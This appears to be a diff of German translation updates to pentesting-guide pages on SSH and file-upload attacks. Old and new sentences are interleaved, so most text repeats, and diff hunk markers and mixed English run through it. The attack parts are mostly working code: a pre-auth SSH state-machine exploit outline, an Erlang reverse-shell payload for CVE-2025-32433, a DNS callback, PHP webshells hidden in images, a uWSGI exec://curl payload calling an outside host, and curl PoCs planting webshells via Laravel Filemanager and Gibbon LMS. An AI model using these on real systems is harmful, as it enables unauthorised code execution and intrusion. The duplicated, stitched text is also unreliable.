Wenn Sie Zugriff auf einen SFTP-Server haben, können Sie auch Ihren Datenverkehr darüber tunneln, zum Beispiel mit der gängigen Portweiterleitung:
Wenn du Zugriff auf einen SFTP server hast, kannst du deinen traffic auch darüber tunneln, zum Beispiel mittels des üblichen port forwarding:
```bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
```
### SFTP Symlink
Der **sftp** hat den Befehl "**symlink**". Daher, wenn Sie **schreibbare Rechte** in einem Ordner haben, können Sie **Symlinks** von **anderen Ordnern/Dateien** erstellen. Da Sie wahrscheinlich in einem chroot **eingeschlossen** sind, wird dies für Sie **nicht besonders nützlich sein**, aber wenn Sie auf den erstellten **Symlink** von einem **no-chroot** **Dienst** (zum Beispiel, wenn Sie auf den Symlink über das Web zugreifen können) zugreifen können, könnten Sie **die symlinkten Dateien über das Web öffnen**.
Zum Beispiel, um einen **Symlink** von einer neuen Datei **"**_**froot**_**" zu "**_**/**_**"** zu erstellen:
Das **sftp** hat den Befehl "**symlink**". Daher, wenn du **writable rights** in einem Ordner hast, kannst du **symlinks** von **anderen Ordnern/Dateien** erstellen. Da du wahrscheinlich innerhalb eines **chroot** **gefangen** bist, wird das **nicht besonders nützlich** für dich sein, aber, wenn du von einem **no-chroot** **service** aus auf den erstellten **symlink** **zugreifen** kannst (zum Beispiel, wenn du vom **web** auf den **symlink** zugreifen kannst), könntest du **die symlinked files über das web öffnen**.
```bash
sftp> symlink / froot
```
Wenn Sie auf die Datei "_froot_" über das Web zugreifen können, sind Sie in der Lage, den Root ("/")-Ordner des Systems aufzulisten.
Wenn Sie über das Web auf die Datei "_froot_" zugreifen können, können Sie den Root-Ordner ("/") des Systems auflisten.
### Authentifizierungsmethoden
In hochsicheren Umgebungen ist es gängige Praxis, nur schlüsselbasierte oder Zwei-Faktor-Authentifizierung zu aktivieren, anstatt die einfache faktorbasierten Passwort-Authentifizierung. Oft werden jedoch die stärkeren Authentifizierungsmethoden aktiviert, ohne die schwächeren zu deaktivieren. Ein häufiges Beispiel ist die Aktivierung von `publickey` in der openSSH-Konfiguration und die Festlegung als Standardmethode, ohne `password` zu deaktivieren. Durch die Verwendung des ausführlichen Modus des SSH-Clients kann ein Angreifer sehen, dass eine schwächere Methode aktiviert ist:
In hochsicheren Umgebungen ist es gängige Praxis, nur schlüsselbasierte oder Zwei-Faktor-Authentifizierung zu aktivieren statt der einfachen passwortbasierten Authentifizierung. Oft werden jedoch stärkere Authentifizierungsmethoden aktiviert, ohne die schwächeren zu deaktivieren. Ein häufiger Fall ist das Aktivieren von `publickey` in der openSSH-Konfiguration und das Setzen als Standardmethode, ohne `password` zu deaktivieren. Durch die Verwendung des Verbose-Modus des SSH-Clients kann ein Angreifer sehen, dass eine schwächere Methode aktiviert ist:
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
```
Wenn beispielsweise ein Limit für Authentifizierungsfehler festgelegt ist und Sie nie die Möglichkeit haben, die Passwortmethode zu erreichen, können Sie die Option `PreferredAuthentications` verwenden, um diese Methode zu erzwingen.
Wenn beispielsweise ein Limit für fehlgeschlagene Authentifizierungsversuche gesetzt ist und Sie nie die Gelegenheit bekommen, die password-Methode zu erreichen, können Sie die Option `PreferredAuthentications` verwenden, um die Verwendung dieser Methode zu erzwingen.
```bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
```
Die Überprüfung der SSH-Serverkonfiguration ist notwendig, um sicherzustellen, dass nur die erwarteten Methoden autorisiert sind. Die Verwendung des ausführlichen Modus auf dem Client kann helfen, die Effektivität der Konfiguration zu sehen.
Die Überprüfung der SSH-Serverkonfiguration ist notwendig, um zu prüfen, dass nur erwartete Methoden autorisiert sind. Die Verwendung des verbose mode auf dem Client kann helfen, die Wirksamkeit der Konfiguration zu sehen.
### Config-Dateien
### Konfigurationsdateien
```bash
ssh_config
sshd_config
@ -284,18 +301,18 @@ id_rsa
## Authentication State-Machine Bypass (Pre-Auth RCE)
Mehrere SSH-Server-Implementierungen enthalten logische Fehler in der **Authentifizierungs-Endzustandsmaschine**, die es einem Client ermöglichen, *Verbindungsprotokoll*-Nachrichten **vor** Abschluss der Authentifizierung zu senden. Da der Server nicht überprüft, dass er sich im richtigen Zustand befindet, werden diese Nachrichten so behandelt, als wäre der Benutzer vollständig authentifiziert, was zu **unauthentifiziertem Codeausführung** oder Sitzungscreation führt.
Mehrere SSH-Server-Implementierungen enthalten Logikfehler im **Authentifizierungs-endlichen Zustandsautomaten**, die einem Client erlauben, *connection-protocol*-Nachrichten **vor** Abschluss der Authentifizierung zu senden. Da der Server nicht überprüft, ob er sich im richtigen Zustand befindet, werden diese Nachrichten so behandelt, als wäre der Benutzer vollständig authentifiziert, was zu **nicht authentifizierter Codeausführung** oder zur Erstellung einer Sitzung führen kann.
Auf Protokollebene gehört jede SSH-Nachricht mit einem _Nachrichtencode_ **≥ 80** (0x50) zur *Verbindungsschicht* (RFC 4254) und muss **nur nach erfolgreicher Authentifizierung akzeptiert werden** (RFC 4252). Wenn der Server eine dieser Nachrichten verarbeitet, während er sich noch im *SSH_AUTHENTICATION*-Zustand befindet, kann der Angreifer sofort einen Kanal erstellen und Aktionen wie die Ausführung von Befehlen, Port-Weiterleitung usw. anfordern.
Auf Protokollebene gehört jede SSH-Nachricht mit einem _message code_ **≥ 80** (0x50) zur *connection*-Schicht (RFC 4254) und darf **erst nach erfolgreicher Authentifizierung akzeptiert werden** (RFC 4252). Verarbeitet der Server eine dieser Nachrichten, während er sich noch im *SSH_AUTHENTICATION*-Zustand befindet, kann der Angreifer sofort einen Channel erstellen und Aktionen wie Kommandoausführung, Port-Forwarding, etc. anfordern.
### Generic Exploitation Steps
1. Stellen Sie eine TCP-Verbindung zum SSH-Port des Ziels her (gewöhnlich 22, aber andere Dienste können Erlang/OTP auf 2022, 830, 2222… bereitstellen).
2. Erstellen Sie ein rohes SSH-Paket:
* 4-Byte **packet_length** (big-endian)
* 1-Byte **message_code** ≥ 80 (z.B. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Payload, die vom gewählten Nachrichtentyp verstanden wird
3. Senden Sie das/die Paket(e) **vor Abschluss eines Authentifizierungsschrittes**.
4. Interagieren Sie mit den Server-APIs, die jetzt _pre-auth_ exponiert sind (Befehlsausführung, Port-Weiterleitung, Dateisystemzugriff, …).
### Generische Ausnutzungsschritte
1. Stelle eine TCP-Verbindung zum SSH-Port des Ziels her (üblich 22, aber andere Dienste können Erlang/OTP auf 2022, 830, 2222… anbieten).
2. Erzeuge ein rohes SSH-Paket:
* 4-byte **packet_length** (big-endian)
* 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Payload, die vom gewählten Nachrichtentyp interpretiert wird
3. Sende das/die Paket(e) **bevor irgendwelche Authentifizierungsschritte abgeschlossen sind**.
4. Interagiere mit den Server-APIs, die jetzt _pre-auth_ exponiert sind (Kommandoausführung, Port-Forwarding, Dateisystemzugriff, …).
Python proof-of-concept outline:
```python
@ -309,15 +326,15 @@ pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
```
In der Praxis müssen Sie den Schlüsselaustausch je nach Zielimplementierung durchführen (oder überspringen), aber **keine Authentifizierung** wird jemals durchgeführt.
In der Praxis müssen Sie den Key-Exchange je nach Zielimplementation durchführen (oder überspringen), aber **keine Authentifizierung** wird jemals durchgeführt.
---
### Erlang/OTP `sshd` (CVE-2025-32433)
* **Betroffene Versionen:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Ursache:** Der native SSH-Daemon von Erlang validiert den aktuellen Zustand nicht, bevor er `ssh_connection:handle_msg/2` aufruft. Daher erreicht jedes Paket mit einem Nachrichten-Code von 80-255 den Verbindungs-Handler, während die Sitzung sich noch im *userauth*-Zustand befindet.
* **Auswirkung:** nicht authentifizierte **Remote-Code-Ausführung** (der Daemon läuft normalerweise als **root** auf eingebetteten/OT-Geräten).
* **Ursache:** Der native Erlang SSH-Daemon validiert den aktuellen Zustand nicht, bevor er `ssh_connection:handle_msg/2` aufruft. Daher erreicht jedes Paket mit einem Message-Code 80-255 den Connection-Handler, während die Sitzung sich noch im *userauth*-Zustand befindet.
* **Auswirkung:** unauthentifizierte **remote code execution** (der Daemon läuft normalerweise als **root** auf Embedded/OT-Geräten).
Beispiel-Payload, die eine umgekehrte Shell erzeugt, die an den vom Angreifer kontrollierten Kanal gebunden ist:
Beispiel-Payload, die eine reverse shell startet, gebunden an den vom Angreifer kontrollierten Channel:
```erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
@ -326,24 +343,28 @@ Blind RCE / out-of-band detection kann über DNS durchgeführt werden:
```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
```
Detection & Mitigation:
* Überprüfen Sie den SSH-Verkehr: **verwerfen Sie jedes Paket mit einer Nachrichtenkodierung ≥ 80, das vor der Authentifizierung beobachtet wird**.
* Aktualisieren Sie Erlang/OTP auf **27.3.3 / 26.2.5.11 / 25.3.2.20** oder neuer.
* Beschränken Sie die Exposition von Verwaltungsports (22/2022/830/2222) insbesondere bei OT-Geräten.
Erkennung & Gegenmaßnahmen:
* Überwache SSH-Verkehr: **verwerfe jedes Paket mit Nachrichten-Code ≥ 80, das vor der Authentifizierung beobachtet wird**.
* Aktualisiere Erlang/OTP auf **27.3.3 / 26.2.5.11 / 25.3.2.20** oder neuer.
* Beschränke die Exponierung von Management-Ports (22/2022/830/2222) insbesondere bei OT-Geräten.
---
### Andere betroffene Implementierungen
* **libssh** 0.6 0.8 (Server-Seite) **CVE-2018-10933** akzeptiert ein nicht authentifiziertes `SSH_MSG_USERAUTH_SUCCESS`, das vom Client gesendet wird, was effektiv den umgekehrten Logikfehler darstellt.
* **libssh** 0.6 0.8 (server side) **CVE-2018-10933** akzeptiert ein nicht authentifiziertes `SSH_MSG_USERAUTH_SUCCESS`, das vom Client gesendet wurde; effektiv ein umgekehrter Logikfehler.
Die allgemeine Lektion ist, dass jede Abweichung von den im RFC vorgeschriebenen Zustandsübergängen fatal sein kann; achten Sie beim Überprüfen oder Fuzzing von SSH-Daemons besonders auf *Zustandsmaschinen-Durchsetzung*.
Die gemeinsame Lehre ist, dass jede Abweichung von den im RFC vorgeschriebenen Zustandsübergängen fatal sein kann; beim Überprüfen oder Fuzzing von SSH-Daemons ist besondere Aufmerksamkeit auf *Durchsetzung der Zustandsmaschine* zu richten.
## References
## Referenzen
- [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
- [Pentesting Kerberos (88) client setup and troubleshooting](pentesting-kerberos-88/README.md)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
## HackTricks Automatic Commands
## HackTricks Automatische Befehle
```
Protocol_Name: SSH
Port_Number: 22

View File

@ -4,7 +4,7 @@
## Allgemeine Methodik für Datei-Uploads
Other useful extensions:
Weitere nützliche Erweiterungen:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
@ -17,11 +17,11 @@ Other useful extensions:
### Umgehung von Dateiendungsprüfungen
1. Wenn vorhanden, **prüfe** die **vorherigen Dateiendungen.** Teste sie außerdem mit einigen **Großbuchstaben**: _pHp, .pHP5, .PhAr ..._
2. _Prüfe **das Hinzufügen einer gültigen Dateiendung vor** der Ausführungs-Endung (verwende auch die vorherigen Dateiendungen):_
1. Falls vorhanden, prüfe die vorherigen Extensions. Teste sie auch mit einigen Großbuchstaben: _pHp, .pHP5, .PhAr ..._
2. _Überprüfe **das Hinzufügen einer gültigen Extension vor** der Ausführungs-Extension (verwende auch die vorherigen Extensions):_
- _file.png.php_
- _file.png.Php5_
3. Versuche, am Ende **Sonderzeichen hinzuzufügen.** Du kannst Burp verwenden, um alle **ascii** und **Unicode** Zeichen zu **bruteforce**n. (_Beachte, dass du auch versuchen kannst, die **zuvor** erwähnten **Extensions** zu verwenden_)
3. Versuche, **Sonderzeichen am Ende hinzuzufügen.** Du könntest Burp verwenden, um alle **ascii** und **Unicode** Zeichen zu **bruteforce**n. (_Hinweis: Du kannst auch versuchen, die **zuvor genannten** **Extensions** zu verwenden_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Other useful extensions:
- _file._
- _file.php...._
- _file.pHp5...._
4. Versuche, die Schutzmechanismen zu umgehen, indem du den serverseitigen Extension-Parser **täuschst** mit Techniken wie dem **Doppeln** der **Extension** oder dem **Hinzufügen von Junk-Daten** (**null** Bytes) zwischen Extensions. _Du kannst auch die **vorherigen Extensions** verwenden, um ein besseres Payload vorzubereiten._
4. Versuche, die Schutzmechanismen zu umgehen, indem du den Parser für Dateiendungen auf der Serverseite austrickst, mit Techniken wie dem **Verdoppeln** der **Extension** oder dem **Hinzufügen von Junk**-Daten (**null**-Bytes) zwischen den Extensions. _Du kannst auch die **vorherigen Extensions** verwenden, um ein besseres Payload vorzubereiten._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,13 +40,13 @@ Other useful extensions:
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Füge **eine weitere Ebene von Dateiendungen** zur vorherigen Prüfung hinzu:
5. Füge **eine zusätzliche Schicht von Extensions** zur vorherigen Prüfung hinzu:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Versuche, die **ausführbare Extension vor** die gültige Extension zu setzen und hoffe, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Misskonfigurationen auszunutzen, bei denen alles mit der Extension .php (aber nicht unbedingt mit der Endung .php) Code ausführt):
6. Versuche, die **ausführende Extension vor der gültigen Extension** zu setzen und hoffe, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Misconfigurations auszunutzen, bei denen alles mit der Extension **.php**, aber nicht unbedingt endend in .php, Code ausführt):
- _ex: file.php.png_
7. Verwendung des **NTFS alternate data stream (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunkt ':' nach einer verbotenen Extension und vor einer erlaubten eingefügt. Dadurch wird auf dem Server eine **leere Datei mit der verbotenen Extension** erstellt (z. B. "file.asax:.jpg"). Diese Datei kann später mit anderen Techniken bearbeitet werden, z. B. durch Verwendung ihres kurzen Dateinamens. Das Muster "**::$data**” kann ebenfalls verwendet werden, um nicht-leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punkts nach diesem Muster nützlich sein, um weitere Einschränkungen zu umgehen (z. B. "file.asp::$data.”)
8. Versuche, die Grenzwerte für Dateinamen zu überschreiten. Die gültige Extension wird abgeschnitten und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
7. Verwendung von **NTFS alternate data stream (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunkt-Zeichen ":" nach einer verbotenen Extension und vor einer erlaubten eingefügt. In der Folge wird eine **leere Datei mit der verbotenen Extension** auf dem Server erstellt (z. B. "file.asax:.jpg”). Diese Datei kann später mit anderen Techniken wie der Verwendung ihres Short Filename bearbeitet werden. Das Muster "**::$data**” kann ebenfalls verwendet werden, um nicht-leere Dateien zu erzeugen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster ebenfalls nützlich sein, um weitere Restriktionen zu umgehen (z. B. "file.asp::$data.”)
8. Versuche, die Dateinamen-Limits zu überschreiten. Die gültige Extension wird abgeschnitten und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -59,13 +59,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
#### UniSharp Laravel Filemanager vor 2.9.1 (.php. nachgestellter Punkt) CVE-2024-21546
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546
Einige Upload-Handler kürzen oder normalisieren nachgestellte Punktzeichen im gespeicherten Dateinamen. Im UniSharps Laravel Filemanager (unisharp/laravel-filemanager) in Versionen vor 2.9.1 kann man die Extension-Validierung umgehen durch:
Einige Upload-Handler trimmen oder normalisieren nachgestellte Punktzeichen im gespeicherten Dateinamen. In UniSharps Laravel Filemanager (unisharp/laravel-filemanager) Versionen vor 2.9.1 kannst du die Extension-Validierung umgehen durch:
- Verwendung eines gültigen Image-MIME und Magic-Headers (z. B. PNGs `\x89PNG\r\n\x1a\n`).
- Den hochgeladenen Dateinamen mit einer PHP-Extension gefolgt von einem Punkt benennen, z. B. `shell.php.`.
- Der Server entfernt den nachgestellten Punkt und speichert `shell.php`, welches ausgeführt wird, wenn es in einem vom Web erreichbaren Verzeichnis abgelegt wird (Standard public storage wie `/storage/files/`).
- Verwendung eines gültigen image MIME und magic header (z. B. PNGs `\x89PNG\r\n\x1a\n`).
- Benennung der hochgeladenen Datei mit einer PHP-Extension gefolgt von einem Punkt, z. B. `shell.php.`.
- Der Server entfernt den nachgestellten Punkt und persistiert `shell.php`, welches ausgeführt wird, wenn es in einem web-geservten Verzeichnis liegt (Standard public storage wie `/storage/files/`).
Minimaler PoC (Burp Repeater):
```http
@ -80,42 +80,42 @@ Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```
Rufe dann den gespeicherten Pfad auf (typisch in Laravel + LFM):
Rufe dann den gespeicherten Pfad auf (typisch bei Laravel + LFM):
```
GET /storage/files/0xdf.php?cmd=id
```
Mitigations:
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
- Durchsetzen strikter serverseitiger allowlists und erneute Validierung des gespeicherten Dateinamens.
- Erzwinge strikte serverseitige allowlists und validiere den gespeicherten Dateinamen erneut.
- Serve uploads from non-executable locations.
### Bypass Content-Type, Magic Number, Compression & Resizing
### Umgehung von Content-Type, Magic Number, Compression & Resizing
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
- Umgehung der **magic number**-Prüfung, indem man am Anfang der Datei die **bytes of a real image** hinzufügt (verwirrt das _file_ command). Oder das Shell in den **metadata** einfügen:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` or you could also **introduce the payload directly** in an image:\
`\` oder man könnte das **payload direkt** in ein Bild einbringen:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- Wenn **compressions** zu deinem Bild hinzugefügt werden, zum Beispiel unter Verwendung einiger Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht mehr nützlich. Du könntest jedoch den **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **survive compression**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Die Webseite könnte das **image** auch **resizen**, z. B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Du könntest jedoch den **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **survive compression**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Eine weitere Technik, um ein Payload zu erstellen, das ein Bild-Resizing überlebt, verwendet die PHP-GD-Funktion `thumbnailImage`. Alternativ kann man den **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) nutzen, um Text einzufügen, der die **survive compression**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
### Weitere Tricks zum Prüfen
- Finde eine Schwachstelle, um die bereits hochgeladene Datei zu **umbenennen** (z. B. um die Erweiterung zu ändern).
- Finde eine **Local File Inclusion**-Schwachstelle, um den Backdoor auszuführen.
- **Mögliche Informationslecks**:
1. Lade **mehrfach** (und zur **gleichen Zeit**) dieselbe **Datei** mit demselben **Namen** hoch.
2. Lade eine Datei mit dem **Namen** einer **Datei** oder **Ordner**, der bereits existiert, hoch.
3. Hochladen einer Datei mit **".”, "..”, oder "…” als Name**. Zum Beispiel erzeugt unter Apache in **Windows**, wenn die Anwendung die Dateien im Verzeichnis "/www/uploads/” speichert, der Dateiname "." eine Datei namens "uploads” im Verzeichnis "/www/”.
4. Lade eine Datei hoch, die nicht leicht gelöscht werden kann, wie **"…:.jpg”** in **NTFS**. (Windows)
5. Lade eine Datei in **Windows** mit **ungültigen Zeichen** wie `|<>*?”` im Namen hoch. (Windows)
6. Lade eine Datei in **Windows** mit reservierten (**verbotenen**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, und LPT9 hoch.
- Versuche außerdem, ein ausführbares Programm (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, das **Code ausführt**, wenn es versehentlich vom Opfer geöffnet wird.
- Find a vulnerability to **rename** the file already uploaded (to change the extension).
- Find a **Local File Inclusion** vulnerability to execute the backdoor.
- **Mögliche Informationsoffenlegung**:
1. Lade die **gleiche Datei** **mehrmals** (und **gleichzeitig**) mit **dem gleichen Namen** hoch.
2. Lade eine Datei mit dem **Namen** einer **Datei** oder **Ordners**, der **bereits existiert**, hoch.
3. Hochladen einer Datei mit **"." , "..", or "…" as its name**. Zum Beispiel: In Apache auf **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis "/www/uploads/" speichert, wird der Dateiname "." eine Datei namens "uploads" im Verzeichnis "/www/" erstellen.
4. Lade eine Datei hoch, die sich nicht leicht löschen lässt, z. B. **"…:.jpg"** in **NTFS**. (Windows)
5. Lade eine Datei in **Windows** mit **invalid characters** wie `|<>*?”` im Namen hoch. (Windows)
6. Lade eine Datei in **Windows** hoch, die **reserved** (**forbidden**) **names** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, und LPT9 verwendet.
- Versuche außerdem, eine **upload an executable** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **code ausführen wird**, wenn sie versehentlich vom Opfer geöffnet wird.
### Special extension tricks
@ -128,7 +128,7 @@ The `.inc` extension is sometimes used for php files that are only used to **imp
## **Jetty RCE**
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Wie im folgenden Bild erwähnt, lade die XML-Datei nach `$JETTY_BASE/webapps/` hoch und erwarte eine Shell!
If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -156,14 +156,54 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Die Ausführung des payload erfolgt während des Parsings der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Crash oder aufgrund einer Denial of Service attack) oder die Datei muss auf auto-reload gesetzt sein. Die auto-reload-Funktion, falls aktiviert, lädt die Datei in festgelegten Intervallen neu, sobald Änderungen erkannt werden.
Die Ausführung der payload erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (z. B. nach einem Crash oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss auf auto-reload gesetzt sein. Die auto-reload-Funktion, falls aktiviert, lädt die Datei in definierten Intervallen neu, sobald Änderungen erkannt werden.
Es ist entscheidend, die lasche Natur des Parsings von uWSGI-Konfigurationsdateien zu verstehen. Konkret kann der besprochene payload in eine Binärdatei (z. B. ein Bild oder PDF) eingebettet werden, wodurch sich das Exploit-Szenario weiter ausweitet.
Es ist wichtig, die nachlässige Natur des Parsings der uWSGI-Konfigurationsdatei zu verstehen. Konkret kann die erwähnte payload in eine Binärdatei (z. B. ein Bild oder ein PDF) eingefügt werden, was den möglichen Exploit-Radius weiter erweitert.
## **wget Datei-Upload/SSRF Trick**
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
In manchen Fällen kann es vorkommen, dass ein Server **`wget`** verwendet, um **Dateien herunterzuladen** und dass du die **URL** angeben kannst. In solchen Fällen prüft der Code möglicherweise, ob die Extension der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Allerdings **kann diese Prüfung umgangen werden.**\
Die **maximale** Länge eines **Dateinamens** in **linux** ist **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Du kannst **eine Datei namens "A"\*232+".php"+".gif"** herunterladen — dieser Dateiname wird die **Prüfung** umgehen (in diesem Beispiel ist **".gif"** eine **gültige** Extension), aber `wget` wird die Datei in **"A"\*232+".php"** umbenennen.
Ein nicht authentifizierter Endpoint in Gibbon LMS erlaubt beliebiges Schreiben von Dateien innerhalb des Web-Roots, was zu pre-auth RCE durch Ablegen einer PHP-Datei führt. Verwundbare Versionen: bis einschließlich 25.0.01.
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
- Method: POST
- Required params:
- `img`: data-URI-ähnlicher String: `[mime];[name],[base64]` (der Server ignoriert type/name und dekodiert das Base64-Ende)
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
Minimaler PoC, um eine Datei zu schreiben und zurückzulesen:
```bash
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
```
Lege eine minimale webshell ab und führe Befehle aus:
```bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
```
Hinweise:
- Der Handler führt `base64_decode($_POST["img"])` aus, nachdem er an `;` und `,` aufgeteilt wurde, und schreibt dann die Bytes nach `$absolutePath . '/' . $_POST['path']`, ohne Dateiendung/Type zu validieren.
- Der resultierende Code läuft als Webservice-Benutzer (z. B. XAMPP Apache unter Windows).
Referenzen für diesen Bug beinhalten die usd HeroLab advisory und den NVD-Eintrag. Siehe den Abschnitt References weiter unten.
